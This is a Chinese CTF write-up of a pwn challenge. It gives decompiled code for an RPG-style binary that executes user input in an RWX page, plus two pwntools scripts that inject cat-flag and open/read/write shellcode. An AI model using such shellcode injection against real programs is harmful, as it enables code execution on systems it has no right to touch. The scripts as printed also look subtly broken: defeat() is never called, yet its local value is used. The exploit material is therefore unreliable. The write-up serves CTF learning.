九点钟都准备好各种东西之后 一打开比赛平台 发现居然只有一个PWN!!!(为什么要欺负PWN手)
检查并运行
checksec 保护全绿 运行程序后发现先给了一个地址 然后是一个勇者斗恶龙的小游戏
IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 int __fastcall main (int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL , 2 , 0LL ); init_seccomp(); exec_area = (__int64)mmap(0LL , 0x1000u LL, 3 , 34 , -1 , 0LL ); if ( exec_area != -1 ) { puts ("=== CTF RPG Challenge ===" ); printf ("Protected zone: %p\n" , (const void *)exec_area); battle_loop(); } perror("mmap failed" ); return 1 ; } void __noreturn battle_loop () { int v0; char v1; int v2; int v3; int v4; int v5; v4 = 100 ; v5 = 150 ; v2 = 1 ; puts ("\n==== BOSS BATTLE START ====" ); while ( 1 ) { v0 = v2++; printf ("\n-- Round %d --\n" , v0); printf ("Player HP: %d | Boss HP: %d\n" , v4, v5); v3 = (int )(((double )v4 / 200.0 + 0.5 ) * (double )20 ); printf ("You attack! Damage: %d\n" , v3); v5 -= v3; if ( v5 <= 0 ) break ; printf ("\nDefend? (y/N): " ); v1 = getchar(); while ( getchar() != 10 ) ; if ( v1 == 121 || v1 == 89 ) { v4 -= 7 ; printf ("You defend! Damage reduced: %d\n" , 15 ); } else { v4 -= 30 ; printf ("No defense! Damage taken: %d\n" , 30 ); } if ( v4 <= 0 ) { puts ("\n[System] Game Over..." ); boss_victory(); exit (0 ); } } puts ("\n[System] Boss defeated!" ); victory_message(); exit (0 ); } __int64 boss_victory () { void *addr; addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000L L); if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000L L), 0x1000u LL, 7 ) == -1 ) { perror("mprotect failed" ); exit (1 ); } printf ("[BOSS] Your place is mine now %p!\n" , addr); printf ("[BOSS] Say your last word to your territory: " ); read(0 , addr, 0x420u LL); return ((__int64 (*)(void ))addr)(); } unsigned __int64 victory_message () { char v1[40 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); printf ("[System] Enter victory comment: " ); gets(v1); printf ("Your comment: %s\n" , v1); return __readfsqword(0x28u ) ^ v2; }
先看main函数 开启了沙箱 于是先用seccomp工具检测一下 可以发现禁用了execve 那么可以初步判断是注入shellcode 进行orw 继续看伪代码 发现在勇者失败的时候会开辟出一个可读可写可执行的区域 并且把这块区域的地址发送出来 让你输入遗言 这个遗言就是我们注入shellcode 的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 boss_victory () { void *addr; addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000L L); if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000L L), 0x1000u LL, 7 ) == -1 ) { perror("mprotect failed" ); exit (1 ); } printf ("[BOSS] Your place is mine now %p!\n" , addr); printf ("[BOSS] Say your last word to your territory: " ); read(0 , addr, 0x420u LL); return ((__int64 (*)(void ))addr)(); }
脚本 第一种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = 'debug' context.arch = 'amd64' p=process('./chall' ) def defeat (): p.sendlineafter("Defend? (y/N):" ,"n" ) while True : line=p.recv() if b'Defend? (y/N): ' in line: p.sendline("n" ) if b'Over' in line: break addr=int (line[-61 :-47 ],16 ) print (hex (addr))shellcode=asm(shellcraft.cat('flag' )) p.sendline(shellcode) p.interactive()
第二种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = 'debug' context.arch = 'amd64' p=process('./chall' ) def defeat (): p.sendlineafter("Defend? (y/N):" ,"n" ) while True : line=p.recv() if b'Defend? (y/N): ' in line: p.sendline("n" ) if b'Over' in line: break addr=int (line[-61 :-47 ],16 ) print (hex (addr))shellcode=asm(shellcraft.open ('./flag' )+shellcraft.read(3 ,addr,0x100 )+shellcraft.write(1 ,addr,0x100 )) p.sendline(shellcode) p.interactive()
得到flag